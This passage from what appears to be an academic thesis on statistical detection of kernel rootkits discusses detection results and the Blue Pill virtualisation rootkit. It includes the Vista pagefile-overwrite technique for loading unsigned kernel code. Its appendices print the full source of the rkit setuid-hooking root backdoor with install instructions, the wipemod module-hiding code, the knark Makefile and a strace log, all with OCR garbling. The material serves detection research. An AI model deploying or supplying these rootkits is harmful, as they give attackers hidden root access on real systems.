use of a second discordancy test. Each attack location was successfully detected using
this approach, resulting in 100% or complete detection of this rootkit.

Finally, these detection techniques were applied to kernel rootkits which infect the
Microsoft Windows operating systems. The Windows equivalent of the system call table,
the system service descriptor table (SSDT), appears to be almost perfectly normally
distributed. Based on this finding, a Windows rootkit that employed the system call table
modification attack was successfully detected using the general distribution model, as
well as the “assumption of normality’ model with good results. In this case, each attack
location in the kernel was successfully detected, resulting in 100% or complete detection
of the rootkit.

Although these are promising results, these experiments were conducted by a
single researcher with intimate knowledge of the operating systems, architectures,

rootkits, and the presence or absence of rootkit infection. In order to further strengthen

116



these results, future “blind” experiments should be conducted wherein the researcher is
deprived of such information.

As discussed in Chapter 2, applications exist for the express purpose of detecting
kenrel rootkits. Some of these include chkrootkit, kstat, rkstat, St. Michael, scprint,
Tripwire, Komoku, and kern_check [5;11;18-24;27]. These tools include signature,
heuristic and hardware based rootkit detectors, and include many similarities. The
common similarity between them is that each class of application includes a substantial
requirement for a priori knowledge. The signature based applications require a priori
knowledge of specific rootkits, and the heuristic and hardware based detectors require
substantial a priori knowledge of or deployment on a “clean” system in order to be
effective. In addition to the requirement for substantial a priori knowledge, these
applications fail to provide a formal model for rootkit detection. The approaches
presented in this research allow for a reduced requirement for a priori knowledge, and

also provide a formal model for each approach.

10.2 Generalizing A Priori Knowledge

The preceeding sections have shown that there are statistical similarities within
broad categories of architecture/operating system pairs. Specifically, the 32-bit Intel
architecture running both a Linux 2.4 and Linux 2.6 kernel, as well as the SPARC
architecture running the 2.4.27 kernel all fit the largest extreme value distribution well
enough to facilitate the detection of Linux kernel rootkits.

However, these broad categories do have limits. One clear example is the 32-bit

Intel Architecture running Windows 2000. This architecture/operating system pair does
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not share the same statistical properties as the others. Clearly, it is possible to reduce the
burden for a priori knowledge when attempting to detect rootkits, but it will still be
necessary to have some a priori knowledge about broad classes of architecture/operating
system pairs.

Without doubt, in order for the approaches presented in this work to be
successful, having generalized a priori knowledge about the statistical properties of broad
categories of architecture/operating system pairs is essential. While similar operating
systems on dissimilar architectures (Linux 2.4.27 running on 32-bit Intel architecture and
SPARC architecture) share striking similarities, more dissimilar systems such as
Windows 2000 on a 32-bit Intel architecture do not share these similarities. This finding
strengthens the belief that systems will fit well into broad categories of similarity.

In order to further strengthen evidence that operating system/architecture pairs fall
into broad categories in regard to the distribution of underlying system call addresses, it
may be prudent to compile, through experimentation or observation, a database of
operating system properties. Such a database will facilitate the effective categorization of
operating system/architecture pairs. Furthermore, such a database may allow the
identification of new factors in what currently appears to be univariate (or bivariate at

best) data. These factors may include the following:

e Kernel Compilation Options

e Variability Across Architectures and Operating Systems

Based on existing results, differences at the operating system level seem to

influence the underlying distribution of system call addresses much more strongly than
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differences in architecture. The influence of kernel compilation options on the
underlying distribution of system call addresses needs to be carefuly investigated in the

future.

10.3 Virtualized Rootkits: An Emerging Threat

Blue pill is a controversial rootkit, based on virtualization, that attacks Microsoft’s
Vista operating system. Blue Pill utilizes AMD Pacific virtualization technology, and
could possibly be modifed to use Intel’s Vanderpool virtualization technology as well.
Blue Pill was designed by Joanna Rutkowski, who claims that Blue Pill is “100%
undetectable” [57].

Using AMD’s Pacifica virtualization technology, Blue Pill is able to trap a
running instance of the operating system into a virtual machine, which can then act as a
hypervisor having complete control of the computer. Rutkowsky claims that Blue Pill is
“100% undetectable” because any detection program could be fooled by the hypervisor
[57].

AMD has since issued a statement dismissing these claims, and other security
researchers and journalists also dismiss these claims. In 2007, a group of researchers
invited Rutkowsky to test Blue Pill against a rootkit detector at Black Hat 2007, but
Rutkowsky declined to participate unless given $384,000.00 in funding as a prerequisite
for entering the competition. The name Blue Pill is a reference to the blue pill from the

popular film trilogy, The Matrix [57].
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Currently, Blue Pill is the only rootkit based upon virtualization, and is only a
proof of concept for use with Microsoft Windows Vista. No other virtualization based

rootkits are known, and none have been observed “in the wild”.

10.3.1 Operational Details
In Microsoft Windows Vista, all kernel mode drivers must be signed. Vista only
allows the loading of signed drivers into kernel memory, and even the system
administrator may not load unsigned code into kernel memory. Obviously, this
countermeasure is intended to protect kernel memory from malware. This protection
may be deactivated by the following mechanisms [58]:
e Attaching a kernel debugger (this requires a reboot)
e Pressing the F8 key during reboot
e Using BCDEdit (reboot required, may not be available in later versions)
However, Vista allows usermode applications raw access to the disk, which in
turn allows these same usermode applications to read and write disk sectors which are
occupied by the pagefile! Usermode applications may not modify the contents of the
pagefile, which may contain the code and data of the paged kernel drivers. This
functionality is fully documented in the Windows Vista SDK [58].
All that remains is to insure that kernel specific code appears in the pagefile. By
allocating enormous amounts of memory, a usermode application can prompt the kernel
to page out a substantial amount of kernel memory to the page file. At this point, some

unused drivers (kernel memory) are written to the page file. Blue Pill (or any other
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application so inclined) may now overwrite the kernel memory present in the pagefile,
and once the page file is written back into memory, rootkit infection is complete [58].
There are several solutions for this problem, including forbidding raw disk access
from usermode, encrypting the pagefile, and disabling kernel memory paging [58]. All of
these solutions involve drawbacks and tradeoffs, and Microsoft has yet to implement any

possible solution.

10.3.2 Detecting Blue Pill

Note that there exist a wide range of virtualization anomalies that betray a
virtualized system. Garfinkel et al. point out that virtual systems are not transparent.
A virtual system may be detected by any of the following approaches [59]:

e CPU Discrepancies: the virtual CPU interfaces of Virtual Machine Monitors such
as VMWare Player or Microsoft’s Virtual PC violate x86 architecture.

e Off-chip Discrepancies: Modern chipsets are difficult to model, and for
simplicity, the VMWare virtual platform always emulates an i440bx chipset,
leading to absurd hardware configurations.

e Resource Discrepancies: Virtual Machine Monitors share physical resources with
their guests, including CPU cycles, physical memory, and cache footprint.
Irregularities in the availability of these resources can betry the presence of a
Virtual Machine Monitor (VMM).

e Timing Discrepancies: Device virtualization is a well-known rich source for
timing anomalies. While hardware virtualization shrinks some overheads, it

inflates others.
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The author of Blue Pill, Joanna Rutkowski, claims that detecting virtualization is
not the same as detecting Blue Pill. While Blue Pill uses virtualization, there are surely
some instances in which virtualization is being used but Blue Pill is not present. So,
detecting virtualization is only a good first step in detecting Blue Pill [60].

Timing attacks seem to be particularly effective at detecting Blue Pill, since
Rutkowsky went to the trouble of developing Blue Chicken technology to avoid them.
When Blue Pill detects a “timing attack”, it unloads itself [60]. This alone is eloquent
proof that timing attacks are, or are at least perceived as, an effective detection technique
for Blue Pill.

Indeed, Blue Pill is new, stealthy, and frightening. However, Blue Pill always
uses hardware virtualization, and there are many well known approaches for detecting
virtualization. It seems that detection efforts are very close to full detection of Blue Pill.
Claiming “100% undetectability” is a remarkable claim, and as such, requires remarkable

evidence in support of this claim.
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APPENDIX A
SCRIPTS AND PROGRAMS USED IN ANALYSIS
(Referenced in Chapter 1V)

A.1: Source code for debug4

# Program — debug4

# This program is used for debugging
# the Linux 2.4.27 kernel statically.
#1 /bin/sh

gdb /boot/debug/vmlinux-2.4_27

A.2: Source code for debugrt4

# Program — debugrt4

# This program is used for debugging

# the Linux 2.4.27 kernel that is

# currently running.

#1 /bin/sh

gdb /boot/debug/vmlinux-2.4.27 /proc/kcore

A.3: Source code for debug6

# Program - debug6

# This program is used for debugging the
# Linux 2.6.8 kenrel statically.

#1 /bin/sh

gdb /boot/debug/vmlinux-2.6.8

A.4: Source code for debugrt6

# Program - debugrt6

# This program is used for

# debugging the Linux 2.6.8

# kernel that is currently

# running.

#1 /bin/sh

gdb /boot/debug/vmlinux-2.6.8 /proc/kcore

A.5: Source code for parsedis.pl

# Program - parsedis.pl

# This program is used to parse

# disassembled system calls into
# a (more) human readable format
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# suitable for use with Minitab.
#1 /usr/bin/perl

open(HANDLE, ' ./dis.out');

@data = <HANDLE>;

$line = 1;

foreach(@data)

{
chomp;
(%a, $b) = split(/\:/, $);
$_ = $b;

($cmd, $address) = split;

$findl = index($address, "0x");

$eol = length($address);

if ($findl > -1)

{
$find2 = index($address, ™ ", $findl);
if ($find2 < 0)

$Ffind2 = $eol;
b

$len = $Ffind2 - $findl;
$result = substr($address, $findl, $len);

$result =~ s/\)//;
$result =~ s/\,//;
$result =~ s/\ //;

$result =~ s/\$//;
$len = length($result);

ifT ($len == 10 && $result '~ N\B|\(I\)/ && ($cmd =~ /~j/ || $cmd =~
/™push/) )
{

$dec = hex($result);
if ($result '~ /OXFFFf/)

print "$cmd $result $dec $line\n";

}
}
}
$line = $line + 1;
3
close(HANDLE) ;
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APPENDIX B
SOURCE CODE LISTING FOR RKIT 1.01

(Referenced in Chapter V)

B.1: Readme.txt

Ok, this is an LKM (Loadable Kernel Module) for linux that successfully
backdoors a system. This is designed for people who have user status on
a system and are able to crack root and want to back-door the root
account. Traditionally, hackers have been forced to install a setuid
root binary or a trojan program or even add an entry to /etc/passwd.
These can be (and often are) discovered by a vigilant admin.

This LKM, once loaded sits in memory and waits for a setuid call. If
One happens and it has your UID then your UID is set to O.

This means that when you log in your UID is set to O. This is not
Easily discoverable as everything is normal until you log in. There are
no SUID binary programs, no trojaned programs no changed entries in
/etc/passwd.

So how do you use this? Simply put your UID in the rkit.c
"#define magik UID" statement as in: #define magik UID 500
(You can get your UID by typing "id"). Then compile the program with

gcc -Wall -02 -c rkit.c -o rkit.o

It can then be installed with: insmod -x rkit.o

1 have also included in the package wipemod.c by dalai
dalai@insomnia.org which was orginally released in 2600 fall

2000 issue so that you can remove rkit from the module listing
(for stealth reasonz).

Ok, the author of this warez can be contacted at <tbob@techie.com>
The lIsolation website is at - http://isolation.s5.com

TBob <tbob@techie.com>

B.2: RKkit.c

/*
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Isolation Website is at http://isolation.s5.com
The author of this warez (TBob) can contacted at <tbob@techie.com>
Copyright (C) 2001 Isolation. All rights reserved.

X R X o % X % %

Released: 7/3/01

*

/

#define _ KERNEL
#define MODULE

#define magik_UID 1000
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall_h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <asm/uaccess.h>

extern void* sys call_table[];
int (*real_setuid)(uid_t uid);
int hacked_setuid(uid_t uid)

if(uid==magik_UID)
{
printk("’<1>Privilage elevation courtesy of Isolation....");
current->uid=0;
current->gid=0;
printk("'You are now root user!\n');
return O;

real_setuid(uid);
return O;

int init_module(void)

{
printk("’<1>1solation rO0tklt VerziOn 1.0\n"");
real_setuid=sys _call_table[SYS_setuid];
sys _call_table[SYS_setuid]=hacked_setuid;
return O;

}

void cleanup_module(void)

{
printk(*'<1>That was an Isolation production fOOIz\n");
sys_call_table[SYS_setuid]=real_setuid;

}
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B.3: Wipemod.c

/*
wipemod.c
dalai(dalai@insomnia.org)

usage: "insmod wipemod name=target.o”

*

*

*

*

*

* Notice: The target module must already be loaded,
* and wipemod will unload itself. Also, because

* it unloads itself, wipemod cannot restore a module
* into the list after it has been taken out.

*
*
*
*

This is built for Linux 2.2.

Ignore any annoying secondary error messages.
*/

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/string.h>

#define _ KERNEL
#define MODULE

char *name;
MODULE_PARM(name, ''s');
int
init_module()
struct module *Imod;
if(name == NULL){
printk(*’<l1>usage: "insmod wipemod name=target.o"\n");
return 1;
}
while(1){
iT(Imod->next){

printk(*’<1>Failure. Perhaps the target module isn"t loaded?\n");
return 1;

if(Istrcmp((char *) Imod->next->name, name)){
if(Imod->next->ndeps!=0) /*level ndeps*/
Imod->next->ndeps=0;

Imod->next=Imod->next->next;

printk(*'<1>Success.\n"");
return 1; /*return 1 so it will unload.*/

Imod = Imod->next;
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cleanup_module()

/* This will never be called. */

}
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APPENDIX C
SOURCE CODE LISTING FOR KNARK 2.4.3

(Referenced in Chapter V)

C.1: Makefile

Makefile, part of the knark package
(c) Creed @ #hack.se 1999 <creed@sekure._.net>

This Makefile may NOT be used in an illegal way,
or to cause damage of ANY Kkind.
(drop me a mail if you find a way to cause damage with a Makefile)

HHHFHHFHHHR

See README for more info

MODDEFS = -D__KERNEL___ -DMODULE -DLINUX

CFLAGS = -Wall -02

MODCFLAGS = -Wstrict-prototypes -fomit-frame-pointer -pipe -fno-
strength-reduce -malign-loops=2 -malign-jumps=2 -malign-functions=2 -
include /usr/src/linux/include/linux/modversions.h -
1/usr/src/linux/include

SRCDIR = src

0BJS = $(SRCDIR)/author_banner.o

all: knark modhide rootme hidef ered nethide rexec taskhack
cp -f hidef unhidef
cp -f knark.o /tmp

knark: $(SRCDIR)/knark.c
$(CC) $(CFLAGS) $(MODCFLAGS) -c $(SRCDIR)/knark.c -o
knark.o $(MODDEFS)

modhide: $(SRCDIR)/modhide.c
$(CC) $(CFLAGS) $(MODCFLAGS) -Wno-uninitialized -c
$(SRCDIR)/modhide.c

hidef: $(0OBJS) $(SRCDIR)/hidef.o
$(CC) $(CFLAGS) -0 hidef $(0OBJS) $(SRCDIR)/hidef.o
strip hidef

rootme: $(0BJS) $(SRCDIR)/rootme.o
$(CC) $(CFLAGS) -0 rootme $(OBJS) $(SRCDIR)/rootme.o

ered: $(0BJS) $(SRCDIR)/ered.o
$(CC) $(CFLAGS) -0 ered $(0BJS) $(SRCDIR)/ered.o
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nethide: $(OBJIS) $(SRCDIR)/nethide.o

$(CC) $(CFLAGS) -0 nethide $(0BJS) $(SRCDIR)/nethide.o
rexec: $(OBJS) $(SRCDIR)/rexec.o

$(CC) $(CFLAGS) -0 rexec $(OBJS) $(SRCDIR)/rexec.o

taskhack: $(OBJIS) $(SRCDIR)/taskhack.o
$(CC) $(CFLAGS) -o taskhack $(0BJS) $(SRCDIR)/taskhack.o

clean:
rm -f knark.o modhide.o hidef unhidef rootme ered nethide
rexec taskhack $(SRCDIR)/*.0 $(SRCDIR)/*~

C.2: Mkmod

cc -Wall -02 -Wstrict-prototypes -fomit-frame-pointer -pipe -fno-
strength-reduce -malign-loops=2 -malign-jumps=2 -malign-functions=2 -
include /usr/src/linux/include/linux/modversions.h -
1/usr/src/linux/include -c src/knark.c -o knark.o -D__ KERNEL _ -DMODULE
cp -f knark.o /tmp

C.3: Output

execve("'/bin/ls", ["Is", "-1a", "/tmp/"], [/* 42 vars */]) = 0
uname({sys=""Linux', node="climate.eps.jhu.edu”, ...}) =0

brk(0) = 0x8053c08
open(*'/etc/Id.so.preload™, O_RDONLY) = -1 ENOENT (No such file or
directory)

open(*'/etc/ld.so.cache™, O _RDONLY) =3

fstat64(3, {st _mode=S IFREG]|0644, st size=49641, ...}) =0
old_mmap(NULL, 49641, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000
close(3) =0
open(**/lib/libtermcap.so.2", O RDONLY) = 3

read(3, '"\177ELF\1\1\1\0\0O\O\O\O\O\O\O\O\I3IN\O\3I\O\I\O\O\O\200\Fr\0"". . .,
1024) = 1024

fstat64(3, {st_mode=S_IFREG]0755, st _size=11608, ...}) =0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -
1, 0) = 0x40023000

old_mmap(NULL, 14696, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x40024000

mprotect(0x40027000, 2408, PROT_NONE) =0

old_mmap(0x40027000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED,
3, 0x2000) = 0x40027000

close(3) 0

open(*/lib/librt.so.1", O_RDONLY) 3

read(3, '"\177ELF\1\1\1\0\0O\O\O\O\O\O\O\O\3INO\3IN\O\INONO\O\320\""\0"". . .,
1024) = 1024

fstat64(3, {st_mode=S IFREG]0755, st _size=26232, ...}) =0
old_mmap(NULL, 71732, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x40028000

mprotect(0x4002e000, 47156, PROT_NONE) =0

old_mmap(0x4002e000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED,
3, 0x5000) = 0x4002e000

old_mmap(0x40030000, 38964, PROT_READ|PROT_WRITE,

MAP_PRIVATE |MAP_FIXED | MAP_ANONYMOUS, -1, 0) = 0x40030000

close(3) 0

open(**/lib/libc.so.6", O _RDONLY) 3
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read(3, ""\177ELF\1\1\1\0\O\O\O\O\O\O\O\O\3\0O\3\O\1\O\O\O\O\302\1"".. .,
1024) = 1024

fstat64(3, {st_mode=S_IFREG|0755, st_size=1216268, ...}) =

old _mmap(NULL, 1231496, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x4003a000

mprotect(0x4015e000, 35464, PROT_NONE) =0

old_mmap(0x4015e000, 20480, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED, 3, 0x123000) = 0x4015e000

old_mmap(0x40163000, 14984, PROT_READ|PROT_WRITE,

MAP_PRIVATE |MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40163000

close(3) =0

open(*/lib/libc.so.6", O _RDONLY) =3

read(3, ""\177ELF\1\1\1\0\O\O\O\O\O\O\O\O\3\0O\3\O\1\0O\O\O\O\302\1".. .,
1024) = 1024

fstat64(3, {st_mode=S IFREG]0755, st size=1216268, ...}) =

close(3) =0

open(*/lib/libc.so.6", O _RDONLY) =3

read(3, ""\177ELF\1\1\1\0\O\O\O\O\O\O\O\O\3\0O\3\O\1\0O\O\O\O\302\1"".. .,
1024) = 1024

fstat64(3, {st_mode=S IFREG]0755, st size=1216268, ...}) =

close(3) =0

open("/lib/libpthread.so.0", O RDONLY) = 3

read(3, ""\177ELF\1\1\1\0\0O\0O\O\O\O\O\ONO\3\0O\3\0\1\0O\0O\0\2400\0".. .,
1024) = 1024

fstat64(3, {st_mode=S IFREG]0755, st size=517867, ...}) =
old_mmap(NULL, 90396, PROT_READ]|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x40167000

mprotect(0x40176000, 28956, PROT_NONE) =0
old_mmap(0x40176000, 28672, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED, 3, 0xe000) = 0x40176000
old_mmap(0x4017d000, 284, PROT_READ|PROT_WRITE,

MAP_PRIVATE |MAP_FIXED | MAP_ANONYMOUS, -1, 0) = 0x4017d000

close(3) =0

open(**/lib/libc.so.6", O _RDONLY) =3

read(3, "\177ELF\l\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0\302\1"---,
1024) = 1024

fstat64(3, {st_mode=S_IFREG]0755, st _size=1216268, ...}) =

close(3) =0

munmap (0x40016000, 49641) =0

getpidQ = 2048

rt_sigaction(SIGRT_0, {0x40170ad0, [], 0x4000000}, NULL, 8)
rt_sigaction(SIGRT_1, {0x4016fe80, [], 0x4000000}, NULL, 8)
rt_sigaction(SIGRT_2, {0x40170b60, [], 0x4000000}, NULL, 8)
rt_sigprocmask(SIG_BLOCK, [RT_O], NULL, 8) =

_sysctl ({{CTL_KERN, KERN_VERSION}, 2, Oxbffff5c4, 32, (nil), 0}) =

0
0
0

getpidQ = 2048

brk(0) = 0x8053c08
brk(0x8053c38) = 0x8053c38
brk(0x8054000) = 0x8054000

open(*'/usr/share/locale/locale.alias', O _RDONLY) =

fstat64(3, {st_mode=S IFREG|0644, st size=2567, ...}) =

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]MAP_ANONYMOUS, -
1, 0) = 0x40016000

read(3, "# Locale name alias data base.\n#".._., 4096) = 2567

brk(0x8055000) = 0x8055000
read(3, "', 4096) =0
close(3) =0
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munmap(0x40016000, 4096) =0
open(**/usr/share/locale/en/LC_IDENTIFICATION", O_RDONLY) =
fstat64(3, {st_mode=S_IFREG]|0644, st size=244, ...}) =
old_mmap(NULL, 244, PROT_READ, MAP_ PRIVATE 3, 0) = 0x40016000
close(3) =0
open(*'/usr/share/locale/en/LC_MEASUREMENT", O _RDONLY) =
fstat64(3, {st_mode=S_IFREG|0644, st size=13, ...}) = 0
old_mmap(NULL, 13, PROT_READ, MAP_| PRIVATE 3, 0) = 0x40017000
close(3) =0
open(*'/usr/share/locale/en/LC_TELEPHONE'"™, O_RDONLY) =
fstat64(3, {st_mode=S IFREG]0644, st size=49, ...}) =
old_mmap(NULL, 49, PROT_READ, MAP_| PRIVATE 3, 0) = 0x40018000
close(3) =0
open(**/usr/share/locale/en/LC_ADDRESS'", O RDONLY) =

fstat64(3, {st_mode=S IFREG]0644, st size=145, ...}) =
old_mmap(NULL, 145, PROT_READ, MAP_ PRIVATE 3, 0) = 0x40019000
close(3) =0
open(**/usr/share/locale/en/LC_NAME™, O_RDONLY) =

fstat64(3, {st_mode=S_IFREG]0644, st size=67, ---}) =
old_mmap(NULL, 67, PROT_READ, MAP_| PRIVATE 3, 0) = 0x4001a000
close(3) =0
open(*'/usr/share/locale/en/LC_PAPER", O RDONLY) =

fstat64(3, {st_mode=S_IFREG|0644, st size=24, ...}) =
old_mmap(NULL, 24, PROT_READ, MAP_| PRIVATE 3, 0) = 0x4001b000
close(3) =0
open(*'/usr/share/locale/en_US/LC_MESSAGES', O _RDONLY)
fstat64(3, {st_mode=S_IFDIR]0755, st _size=4096, ...3})
close(3) =0

3
0

open(*"/usr/share/locale/en_US/LC_MESSAGES/SYS_LC_MESSAGES'™, O_RDONLY) =

3

fstat64(3, {st_mode=S IFREG]|0644, st size=42, ...}) =
old_mmap(NULL, 42, PROT_READ, MAP_| PRIVATE 3, 0) = 0x4001c000
close(3) =0
open(**/usr/share/locale/en_US/LC_MONETARY', O_RDONLY) =
fstat64(3, {st_mode=S IFREG]0644, st size=276, ...}) = 0
old_mmap(NULL, 276, PROT_READ, MAP_ PRIVATE 3, 0) = 0x4001d000
close(3) =0
open(**/usr/share/locale/en_US/LC_COLLATE"™, O_RDONLY)
fstat64(3, {st_mode=S_IFREG]0644, st size=21484, ...}) =0
old_mmap(NULL, 21484, PROT_READ, MAP_| PRIVATE 3, 0) = 0x4017e000
close(3) =0
open(*'/usr/share/locale/en_US/LC TIME"™, O _RDONLY) =

fstat64(3, {st_mode=S_IFREG|0644, st _size=2441, ---}) =
old_mmap(NULL, 2441, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001e000
brk(0x8056000) = 0x8056000

close(3) =0
open(*'/usr/share/locale/en_US/LC_NUMERIC"™, O RDONLY) =

fstat64(3, {st_mode=S IFREG]|0644, st size=44, _..}) =
old_mmap(NULL, 44, PROT_READ, MAP_| PRIVATE 3, 0) = 0x4001f000
close(3) =0
open(*'/usr/share/locale/en_US/LC _CTYPE"™, O _RDONLY) =

fstat64(3, {st_mode=S_IFREG|0644, st _size=110304, ...}) =
old_mmap(NULL, 110304, PROT_READ, MAP_| PRIVATE 3, 0) = 0x40184000
close(3) =0

time(NULL) 989820195

ioctl (1, TCGETS, OxbFffff810) -1 ENOTTY (Inappropriate
ioctl for device)

3

VII
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ioctl (1, TIOCGWINSZ, Oxbffff8d8)
ioctl for device)

brk(0x8059000) = 0x8059000

Istat64('/tmp/*", {st_mode=S_IFDIR|S_ISVTX]|0777, st_size=4096, ...}) =0
open(*'/dev/null', O_RDONLY|O_NONBLOCK]O_DIRECTORY) = -1 ENOTDIR (Not a
directory)

open(**/tmp/*", O_RDONLY]O_NONBLOCK]|O_LARGEFILE]JO_DIRECTORY) = 3
fstat64(3, {st_mode=S_IFDIR|S_ISVTX]|0777, st_size=4096, ...}) =0
shmat(3, 0x2, Ox2ptrace: umoven: Input/output error

= 2

-1 ENOTTY (Inappropriate

)

brk(0x805b000) 0x805b000

ipc_subcal I (0x3, 0x80583d0, 0x1000, 0) 688

Istat64('/tmp/.", {st_mode=S_IFDIR|S_ISVTX]0777, st _size=4096, ...}) =
0

Istat64("'/tmp/..", {st_mode=S_IFDIR]0755, st size=4096, ...}) =0
Istat64("'/tmp/ . font-unix", {st _mode=S_IFDIR|S_ISVTX]0777, st _size=4096,
---}) =0

Istat64('/tmp/.X0-lock™, {st mode=S_IFREG|0444, st_size=11, ...}) =0
Istat64('/tmp/linuxconf-rpminstall_log”, {st mode=S_IFREG|0644,

st _size=53, ...}) =0

Istat64 ("' /tmp/ksocket-root", {st mode=S IFDIR]0700, st size=4096, ...})

isgat64("/tmp/-X11—unix", {st_mode=S_IFDIR|S_ISVTX]0777, st_size=4096,
iéig%62(9/tmp/session_mm-sem", {st_mode=S_IFREG]0600, st _size=0, ...})
isgat64("/tmp/.ICE—unix", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096,
iéig%62(9/tmp/kde-feiIiu", {st_mode=S_IFDIR|0700, st size=4096, ...}) =
?stat64("/tmp/ksocket—feiIiu", {st_mode=S_IFDIR]0700, st _size=4096,

iéig%62(9/tmp/mcop-feiIiu", {st_mode=S_IFDIR|0700, st size=4096, ...})
132§§64(Sltmp/ksocket—WoIverine", {st_mode=S_IFDIR]0700, st _size=4096,

Istat64("'/tmp/nsform3AFE059412EOB5F'", {st_mode=S_I1FREG] 0600,
st_size=528, ...}) =0

Istat64('/tmp/hacking.-tgz"”, {st mode=S IFREG]|0644, st_size=1074303,
---}) =0

Istat64("'/tmp/knark.o", {st _mode=S IFREG]0644, st size=14136, ...}) =0
Istat64("'/tmp/knark-2.4.3.tgz", {st _mode=S_IFREG|0644, st_size=57213,

---}) =0

Istat64('/tmp/modhide.o", {st_mode=S IFREG]0644, st size=1320, ...}) =
0

Istat64("'/tmp/syscall .o, {st_mode=S IFREG]0644, st size=1620, ...}) =
0

Istat64('/tmp/.hideme™, {st_mode=S_IFDIR]0755, st size=4096, ...}) =0

ipc_subcall(0x3, 0x80583d0, 0x1000, 0) =0
close(3) =0
open(''/etc/mtab', O_RDONLY) =3

fstat64(3, {st_mode=S_IFREG|0644, st size=721, ...}) =0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]MAP_ANONYMOUS, -
1, 0) = 0x40020000

read(3, '/dev/hdc5 / ext2 rw O O\nnone /pr™"..., 4096) = 721

close(3) =0

munmap (0x40020000, 4096) 0
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open(*'/proc/meminfo', O_RDONLY) =3

fstat64(3, {st_mode=S_IFREG]|0444, st size=0, ...}) =0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]MAP_ANONYMOUS, -
1, 0) = 0x40020000

read(3, " total: used: free:" ..., 4096) = 548
close(3) =0
munmap (0x40020000, 4096) =0

open(**/usr/share/locale/en_US/LC_MESSAGES/fileutils.mo', O _RDONLY) = -1
ENOENT (No such file or directory)
open(*'/usr/share/locale/en/LC_MESSAGES/fileutils.mo™, O RDONLY) = -1
ENOENT (No such file or directory)

fstat64(1l, {st_mode=S_IFREG]0644, st size=10521, ...}) =0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]|MAP_ANONYMOUS, -
1, 0) = 0x40020000

socket(PF_UNIX, SOCK_STREAM, 0) =3

connect(3, {sin_family=AF_UNIX, path="

/var/run/ .nscd_socket"}, 110) = -1 ENOENT (No such file or directory)
close(3) =0

open(*'/etc/nsswitch.conf”, O_RDONLY) =3

fstat64(3, {st_mode=S_IFREG|0644, st_size=1744, ...}) =0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]|MAP_ANONYMOUS, -
1, 0) = 0x40021000

read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex' ..., 4096) = 1744

read(3, ', 4096)

close(3)

munmap(0x40021000, 4096)
open(*'/etc/ld.so.cache™, O RDONLY)
fstat64(3, {st_mode=S_IFREG]0644, st size=49641, ...}) =0
old_mmap(NULL, 49641, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4019f000
close(3) =0
open(*'/lib/libnss_files.so0.2", O RDONLY) = 3

read(3, '"\177ELF\1\1\1\0\0O\O\O\O\O\O\O\O\3\O\3\O\1\O\O\O\360 \0".. .,
1024) = 1024

fstat64(3, {st_mode=S_ IFREG]0755, st size=38580, ...}) =0
old_mmap(NULL, 41960, PROT_READ]PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x401ac000

mprotect(0x401b6000, 1000, PROT_NONE) =0

old_mmap(0x401b6000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED,
3, 0x9000) = 0x401b6000

I V|
WwoOoo

close(3) =0
munmap(0x4019F000, 49641) =0
open(*'/etc/passwd’™, O RDONLY) =3

shmat(3, Ox1, Oxlptrace: umoven: Input/output error
?

shmat(3, O0x1, Ox2ptrace: umoven: Input/output error
) = ?
fstat64(3, {st_mode=S_IFREG|0644, st _size=1730, ...}) =0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]MAP_ANONYMOUS, -
1, 0) = 0x40021000

read(3, '"root:x:0:0:root:/root:/bin/bash\n".._, 4096) = 1730

close(3) =0
munmap(0x40021000, 4096) =0
socket(PF_UNIX, SOCK_STREAM, 0) =3

connect(3, {sin_family=AF_UNIX, path="
/var/run/_nscd_socket"}, 110) = -1 ENOENT (No such file or directory)
close(3)

open("'/etc/group’, O _RDONLY)

I
w o
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shmat(3, O0x1, Oxlptrace: umoven: Input/output error
= ?

shmat(3, Ox1, Ox2ptrace: umoven: Input/output error
?

) 7

fstat64(3, {st_mode=S IFREG]0644, st size=788, ...}) =0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]MAP_ANONYMOUS, -
1, 0) = 0x40021000

read(3, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 788

close(3) =0
munmap(0x40021000, 4096) =0
open("'/etc/localtime', O _RDONLY) =3

fstat64(3, {st_mode=S_IFREG|0644, st _size=1267, ...}) =0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE]MAP_ANONYMOUS, -
1, 0) = 0x40021000

read(3, ""TZiT\O\O\O\O\O\O\O\O\O\O\O\O\O\O\ONONONONONANONONONANO™". . -,
4096) = 1267

close(3) =0
munmap (0x40021000, 4096) =0
open(*'/etc/passwd™, O_RDONLY) =3

shmat(3, Ox1, Oxlptrace: umoven: Input/output error
2

shmat(3, 0x1, Ox2ptrace: umoven: Input/output error
?

) ;

